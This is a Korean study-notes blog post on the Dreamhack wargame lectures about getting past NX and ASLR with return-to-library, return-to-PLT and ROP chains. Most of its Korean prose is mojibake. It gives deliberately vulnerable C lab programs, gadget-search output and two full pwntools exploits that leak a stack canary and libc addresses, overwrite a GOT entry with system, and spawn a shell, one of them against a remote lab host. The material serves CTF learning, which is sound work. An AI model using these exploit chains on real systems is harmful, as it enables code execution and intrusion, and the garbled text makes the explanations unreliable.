TIL : Bypass NX, ASLR - RTL, ROP ๐ตโ๐ซ
https://dreamhack.io/lecture/courses/85
ASLR
Address Space Layout Randomization(ASLR)์ binary๊ฐ ์คํ๋ ๋๋ง๋ค stack, heap, shared library ๋ฑ์ random address์ ํ ๋นํ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด๋ค.
ASLR์ ํน์ง
์๋์ ์ฝ๋๋ก VAS ์์ ์ฌ๋ฌ ์์ญ์ address๋ฅผ ์ถ๋ ฅํด๋ณด์.
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf_stack[0x10]; // ์คํ ๋ฒํผ
char *buf_heap = (char *)malloc(0x10); // ํ ๋ฒํผ
printf("buf_stack addr: %p\n", buf_stack);
printf("buf_heap addr: %p\n", buf_heap);
printf("libc_base addr: %p\n", *(void **)dlopen("libc.so.6", RTLD_LAZY)); // ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์
printf("printf addr: %p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "printf")); // ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์์ ์ฃผ์
printf("main addr: %p\n", main); // ์ฝ๋ ์์ญ์ ํจ์ ์ฃผ์
}
stack์ buf_stack
, heap์ buf_heap
, library ํจ์ printf
, code segment์ main
, ๊ทธ๋ฆฌ๊ณ library๊ฐ mapping๋ ์ฃผ์ libc_base
๊ฐ ์ถ๋ ฅ๋๋ค.
$ ./addr
buf_stack addr: 0x7ffcd3fcffc0
buf_heap addr: 0xb97260
libc_base addr: 0x7fd7504cd000
printf addr: 0x7fd750531f00
main addr: 0x400667
$ ./addr
buf_stack addr: 0x7ffe4c661f90
buf_heap addr: 0x176d260
libc_base addr: 0x7ffad9e1b000
printf addr: 0x7ffad9e7ff00
main addr: 0x400667
$ ./addr
buf_stack addr: 0x7ffcf2386d80
buf_heap addr: 0x840260
libc_base addr: 0x7fed2664b000
printf addr: 0x7fed266aff00
main addr: 0x400667
- Code segment์
main
์ ์ ์ธํ ๋ค๋ฅธ ์ฃผ์๋ค์ ์คํํ ๋๋ง๋ค ๋ณ๊ฒฝ๋๋ค. printf
address์ ํ์ 12 bit ๊ฐ์ ๋ณ๊ฒฝ๋์ง ์๋๋ค. Linux๋ ASLR์ด ์ ์ฉ๋ ๋ file์ page ๋จ์๋ก random address์ mapํ๋ค. ๋ฐ๋ผ์ page์ ํฌ๊ธฐ์ธ 12 bit ์ดํ๋ก๋ ์ฃผ์๊ฐ ๋ณ๊ฒฝ๋์ง ์๋๋ค.libc_base
์printf
์ ์ฃผ์ ์ฐจ์ด๋ ์ผ์ ํ๋ค. ASLR์ด ์ ์ฉ๋๋๋ผ๋ library file์ ๊ทธ๋๋ก mapํ๊ธฐ ๋๋ฌธ์ mapping๋ library์ base ์ฃผ์๋ก๋ถํฐ library์ symbol๋ค๊น์ง์ offset์ ํญ์ ์ผ์ ํ๋ค.
NX
No-eXecute(NX)๋ ์คํ์ ์ฌ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ๊ณผ ์ฐ๊ธฐ์ ์ฌ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ถ๋ฆฌํ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด๋ค. Linux์์ NX๊ฐ ์ ์ฉ๋ binary์๋ code ์์ญ์ ์ ์ธํ ๋ค๋ฅธ ์์ญ๋ค์ ์คํ ๊ถํ์ ๊ฐ์ง ์๋๋ค.
Return to Library (RTL)
NX๋ก ์ธํด buffer ์์ ์ฃผ์ ํ shellcode๋ฅผ ์คํํ ์ ์์ โ Return address๋ฅผ ์คํ ๊ถํ์ด ์๋ binary์ code ์์ญ ํน์ binary๊ฐ ์ฐธ์กฐํ๋ library์ code ์์ญ์ผ๋ก ๋ณ๊ฒฝํ๋ค.
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
โ/bin/shโ
ASLR์ด ์ ์ฉ๋์ด๋ PIE๊ฐ ์ ์ฉ๋์ง ์์ผ๋ฉด code segment์ data segment์ ์ฃผ์๋ ๊ณ ์ ๋๋ฏ๋ก ์ฝ๋ ๋ด์ binsh
์ ์ฃผ์๋ ๊ณ ์ ๋์ด ์๋ค.
system
์ PLT ํ์ฉํ๊ธฐ (Return to PLT)
PLT์ ์ด๋ค library ํจ์๊ฐ ๋ฑ๋ก๋์ด ์๋ค๋ฉด ๊ทธ ํจ์์ PLT entry๋ฅผ ์คํํจ์ผ๋ก์จ ํจ์๋ฅผ ์คํํ ์ ์๋ค.
ASLR์ด ๊ฑธ๋ ค ์์ด๋ PIE๊ฐ ์ ์ฉ๋์ง ์๋ค๋ฉด PLT์ ์ฃผ์๋ ๊ณ ์ ๋๋ฏ๋ก, library์ base address๋ฅผ ๋ชฐ๋ผ๋ ์ด๋ฅผ ํตํด library function์ ์คํํ ์ ์๋ค. โ Return to PLT
rdi๋ฅผ โ/bin/shโ์ ์ฃผ์๋ก ์ค์ ํ๊ณ , system
์ PLT๋ฅผ ํ์ฉํ์ฌ system
์ ์คํํ๋ค๋ฉด (system(โ/bin/shโ)
) shell์ ํ๋ํ ์ ์๋ค.
system
ํจ์๋ฅผ ์คํํ ๋ stack์ ๋ฐ๋์ 0x10 ๋จ์๋ก ์ ๋ ฌ๋์ด ์์ด์ผ ํ๋ค. system
๋ด์ movaps
instruction์ stack์ด 0x10 ๋จ์๋ก ์ ๋ ฌ๋์ด ์์ง ์์ผ๋ฉด segmentation fault๋ฅผ ๋ฐ์์ํจ๋ค.
Return gadget
Return gadget์ ret
์ผ๋ก ๋๋๋ assembly code ์กฐ๊ฐ์ ์๋ฏธํ๋ค.
NX๋ก ์ธํด shellcode๋ฅผ ์คํํ ์ ์์ผ๋ฏ๋ก, binary์ ์คํ ๊ฐ๋ฅํ section ๋ด์์ ์ํ๋ return gadget์ ์ฐพ์ ๋ค ์ด๋ฅผ ์กฐํฉํด ํ๋ก๊ทธ๋จ์ ์ํ๋ ๋๋ก ์ ์ดํ ์ ์๋ค.
ROPgadget์ ์ด์ฉํด ์ํ๋ return gadget์ ์ฐพ์ ์ ์๋ค.
$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
system
๊ณผ ๊ฐ์ movaps
๋ฅผ ํฌํจํ๋ ํจ์๋ค์ ์คํํ๊ธฐ ์ํด stack์ alignment๋ฅผ ๋ง์กฑ์์ผ์ผ ํ ๋ ret
instruction ํ๋๋ง์ผ๋ก ์ด๋ฃจ์ด์ง ์กฐ๊ฐ์ stack์ ์ง์ด๋ฃ์ผ๋ฉด ๋๋ค. (๋ฐ๋ก stack ์์ ๋ค์ instruction์ผ๋ก ์ด๋ํจ)
Exploit
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print("canary", hex(cnry))
# [2] Exploit
system_plt = e.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
- canary๋ฅผ ์ป๋ ๊ณผ์ ์ ์๋ต.
binsh
๋ gdb๋ฅผ ์ด์ฉํด์,pop_rdi
์ret
๋ ROPgadget๋ฅผ ์ด์ฉํด์ ์ป์ ์ ์๋ค.- payload๋ rdi์
bisnh
๋ฅผ ๋ฃ๊ณ ,system
์ PLT entry๋ฅผ ์ด์ฉํดsystem
์ ์คํํ๋๋ก ๊ตฌ์ฑํ๋ค.
Return Oriented Programming (ROP)
ROP๋ ๋ค์์ return gadget์ ์ฐ๊ฒฐํด์ ์ฌ์ฉํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๋งํ๋ค.
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
Vulnerability Scanning
- Canary๋ฅผ ์ฒซ ๋ฒ์งธ
read
๋ฅผ ์ด์ฉํด ์ป์ ์ ์๋ค. system
ํจ์๊ฐ binary์ ํฌํจ๋์ง ์์ผ๋ฏ๋ก ์ฃผ์๋ฅผ ์ง์ ๊ณ์ฐํด์ผ ํ๋ค. (ํ์ )-
"/bin/sh"
string๋ binary์ ํฌํจ๋์ง ์์ผ๋ฏ๋ก ์ด๋ฅผ ์ง์ buffer์ ์ ๋๊ฐ, libc.so.6์ ํฌํจ๋ ๋ฌธ์์ด์ ํ์ฉํด์ผ ํ๋ค.pwndbg> search /bin/sh libc-2.27.so 0x7ffff7b980fa 0x68732f6e69622f /* '/bin/sh' */
- ๋ ๋ฒ์งธ
read
๋ฅผ ํตํด return gadget๋ค์ stack์ ์ง์ด ๋ฃ์ด program์ ์ ์ดํ ์ ์๋ค.
system
์ address ๊ณ์ฐํ๊ธฐ
system
์ libc.so.6์ ์ ์๋์ด ์์ผ๋ฉฐ, ํด๋น library์๋ ์ด binary๊ฐ callํ๋ read
, puts
, printf
๋ ํฌํจ๋๋ค. library file์ memory์ map๋ ๋ ์ ์ฒด๊ฐ map๋๋ฏ๋ก system
๋ ๋ค๋ฅธ ํจ์๋ค๊ณผ ํจ๊ป process memory์ ์ ์ฅ๋๋ค.
Binary๊ฐ system
์ ์ง์ callํ์ง ์๊ธฐ ๋๋ฌธ์ system
์ด GOT์๋ ๋ฑ๋ก๋์ง ์์ง๋ง, read
, puts
, printf
๊ฐ GOT์ ๋ฑ๋ก๋์ด ์์ผ๋ฏ๋ก ์ด๋ค์ GOT๋ฅผ ์ฝ์ ์ ์๋ค๋ฉด ๋ฏธ๋ฆฌ ์๋ ค์ง ํจ์๋ค ๊ฐ์ address ์ฐจ์ด๋ฅผ ์ด์ฉํด system
์ ์ฃผ์๋ฅผ ์์๋ผ ์ ์๋ค.
libc์ version์ ๋ฐ๋ฅธ ํจ์๋ค ๊ฐ์ offset์ https://libc.nullbyte.cat/์์ ํ์ธํ ์ ์๋ค:
-
์ฐ์ return gadget์ ์ด์ฉํด binary๊ฐ callํ ํจ์์ GOT entry๋ฅผ ์ถ๋ ฅํ๋ฉด, ์ด ๊ฐ์ ๋ง์ง๋ง 1.5 byte๋ฅผ ์ด์ฉํด libc์ version์ ํน์ ํ ์ ์๋ค. (ASLR์ด ์ ์ฉ๋์ด๋ ๋ง์ง๋ง 1.5 byte๋ ๋ณํ์ง ์์)
์๋ฅผ ๋ค์ด,
read
์ address๊ฐ0x7f4ff43e4140
์ด๋ผ๋ฉด ๋ง์ง๋ง 1.5 byte์ธ 0x140์ ์ ๋ ฅํ๋ฉด ๋๋ค. -
ํด๋นํ๋ libc๋ฅผ ์ฐพ์๋ด ๊ฐ ํจ์๋ค ๊ฐ์ offset์ ํ์ธํ ์ ์๋ค. ์๋์ ์ฌ์ง์์
read
์system
์ address ์ฐจ์ด๋ 0xc0bf0์์ ์ ์ ์๋ค.
Exploit
- ํ๋ก๊ทธ๋จ์ด
puts(read_got)
๋ฅผ ์คํํ์ฌread
์ address๋ฅผ ์ถ๋ ฅํ๊ฒ ํ๋ค. - ์ถ๋ ฅํ
read
์ address๋ฅผrecv
ํ๋ค. ์ด๋ฅผ ์ด์ฉํดsystem
์ address๋ฅผ ๊ณ์ฐํ๋ค. - ํ๋ก๊ทธ๋จ์ด
read(0, read_got, 0x10)
์ ์คํํ์ฌ ๊ณ์ฐํsystem
์ address๋กread
์ GOT entry๋ฅผ ๋ฎ์ด ์ฐ๊ฒ ํ๋ค. read("/bin/sh")
๋ฅผ ์คํํ๋ฉดread
์ GOT entry๊ฐsystem
์ ์ฃผ์๋ก ์์ ๋์ด ์๊ธฐ ๋๋ฌธ์system("/bin/sh")
๊ฐ ์คํ๋๋ค.
from pwn import *
#p = process("./rop")
p = remote("host3.dreamhack.games", 9019)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
buf = b"A"*(0x40-0x8+1)
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00" + p.recvn(7))
#print(hex(cnry))
read_plt = e.plt["read"]
read_got = e.got["read"]
puts_plt = e.plt["puts"]
pop_rdi = 0x00000000004007f3
pop_rsi_pop_r15 = 0x00000000004007f1
ret = 0x000000000040055e
payload = b"A"*(0x40-0x8) + p64(cnry) + b"A"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6) + b"\x00"*2)
print(hex(read))
#lb = read - libc.symbols["read"]
#system = lb + libc.symbols["system"]
system = read - 0xc0bf0
#print("read", hex(read))
#print("libc_base", hex(lb))
#print("system", hex(system))
p.send(p64(system) + b"/bin/sh\x00")
p.interactive()
-
read(0, read_got, 0x10)
์ ์คํํ๊ธฐ ์ํ return gadget์ ์ฝ์ ํ ๋ rdx์ ๊ฐ ์ญ์ ์์ ํด์ค์ผ ํ์ง๋ง ์ผ๋ฐ์ ์ผ๋ก rdx์ ๊ด๋ จ๋ gadget์ ์ฐพ๊ธฐ ์ด๋ ต๋ค. ์ด๋ด ๋๋ libc_csu_init gadget์ ์ฌ์ฉํ๊ฑฐ๋ libc์ code gadget์ ์ฌ์ฉํด์ผ ํ๋ค.์ด ๋ฌธ์ ์์๋
read
์ GOT๋ฅผ ์ฝ์ ๋ค rdx ๊ฐ์ด ๋งค์ฐ ํฌ๊ฒ ์ค์ ๋๋ฏ๋ก rdx๋ฅผ ๋ฐ๋ก ์ค์ ํด์ฃผ์ง ์์๋ ๊ด์ฐฎ๋ค. (read
์ ์ธ ๋ฒ์งธ argument๋ ์ฝ์ด๋ค์ด๋ ค๋ ๊ฐ์ ํฌ๊ธฐ์ด๊ธฐ ๋๋ฌธ) ๊ทธ๋ฌ๋ ์ด ๊ฒฝ์ฐ ๋ชจ๋ ์คํ์์ exploit์ด ์ฑ๊ณตํ์ง ์์ ์๋ ์๋ค. -
libc์ base์ธ
lb
๋ฅผread - libc.symbols["read"]
๋ก ๊ณ์ฐํ์ฌsystem
์ address๋ฅผ ์ฐพ์ ์๋ ์์ง๋ง, ์ด ๊ฒฝ์ฐ server๊ฐ ์ฌ์ฉํ๋ libc์ version์ด ๋ค๋ฅผ ๊ฒฝ์ฐ exploit์ด ์คํจํ ์ ์๋ค. ๋ฐ๋ผ์ ์์์ ์ธ๊ธํ๋ฏ์ด libc์ version์ ์ฒดํฌํ์ฌ ๋ฏธ๋ฆฌ ํจ์ ๊ฐ์ offset์ ์์๋๋ ๊ฒ์ด ์ข๋ค.
Leave a comment